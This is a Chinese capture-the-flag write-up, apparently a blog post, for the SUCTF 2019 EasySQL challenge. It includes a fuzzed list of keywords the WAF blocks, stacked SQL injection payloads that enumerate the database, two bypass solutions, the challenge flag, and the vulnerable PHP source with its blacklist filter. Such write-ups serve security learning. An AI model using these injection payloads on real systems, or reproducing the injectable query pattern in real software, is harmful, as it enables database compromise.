BUUCTF Web 1 – SUCTF 2019 EasySQL
[SUCTF 2019]EasySQL
页面内容
测试' or '1'='1
发现存在waf。
经waf测试,以下关键字被ban掉
3 handler 200 false false 507
4 like 200 false false 507
6 sleep 200 false false 507
8 delete 200 false false 507
10 or 200 false false 507
17 insert 200 false false 507
21 INFORMATION 200 false false 507
27 xor 200 false false 507
36 AND 200 false false 507
41 CREATE 200 false false 507
47 " 200 false false 507
58 union 200 false false 507
59 " 200 false false 507
60 & 200 false false 507
61 && 200 false false 507
63 oorr 200 false false 507
69 anandd 200 false false 507
72 IF 200 false false 507
78 sleep 200 false false 507
79 LIKE 200 false false 507
86 infromation_schema 200 false false 507
88 OR 200 false false 507
89 ORDER 200 false false 507
90 ORD 200 false false 507
96 UNION 200 false false 507
97 UPDATE 200 false false 507
103 WHERE 200 false false 507
105 AND 200 false false 507
106 prepare 200 false false 507
108 update 200 false false 507
109 delete 200 false false 507
110 drop 200 false false 507
117 CREATE 200 false false 507
121 DELETE 200 false false 507
122 DROP 200 false false 507
123 floor 200 false false 507
124 rand() 200 false false 507
125 information_schema.tables 200 false false 507
131 ORD 200 false false 507
133 extractvalue 200 false false 507
134 order 200 false false 507
137 ORDER 200 false false 507
138 OUTFILE 200 false false 507
144 updatexml 200 false false 507
152 format 200 false false 507
155 ord 200 false false 507
157 UPDATE 200 false false 507
162 WHERE 200 false false 507
171 for 200 false false 507
172 BEFORE 200 false false 507
173 REGEXP 200 false false 507
174 RLIKE 200 false false 507
177 SEPARATOR 200 false false 507
178 XOR 200 false false 507
179 CURSOR 200 false false 507
180 FLOOR 200 false false 507
185 from 200 false false 507
可以看到waf非常强,排除了考点在绕过的可能。经过测试,发现此题存在堆叠注入。
query=1;show databases;#
执行一些其他的语句
query=1;select database();#
Array
(
[0] => 1
)
Array
(
[0] => ctf
)
query=1;use ctf;show tables;#
Array
(
[0] => 1
)
Array
(
[0] => Flag
)
这里可以看到当前数据库ctf中只有一个表Flag,所以当前sql的查询必然是查询此表。
在做题时没有想到后面怎么操作,查看writeup题解后,发现题目sql查询字符串的内容为:
$sql = "select ".$post['query']."||flag from Flag";
知道了查询语言,答案很容易就出来了,有两种解法。
- *查询法
使用*,1
放入查询语句,就能查出当前Flag表中的所有内容。
- 操作符重置法
使用set sql_mode=PIPES_AS_CONCAT;
将||视为字符串的连接操作符而非或运算符。
flag{b6aa6525-21b4-4f99-9dd3-7748f206e62c}
题目源码 :
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
请问为什么必须要select *,1呢?select *为啥不行
你的WAF测试是怎么测试的,交流一下。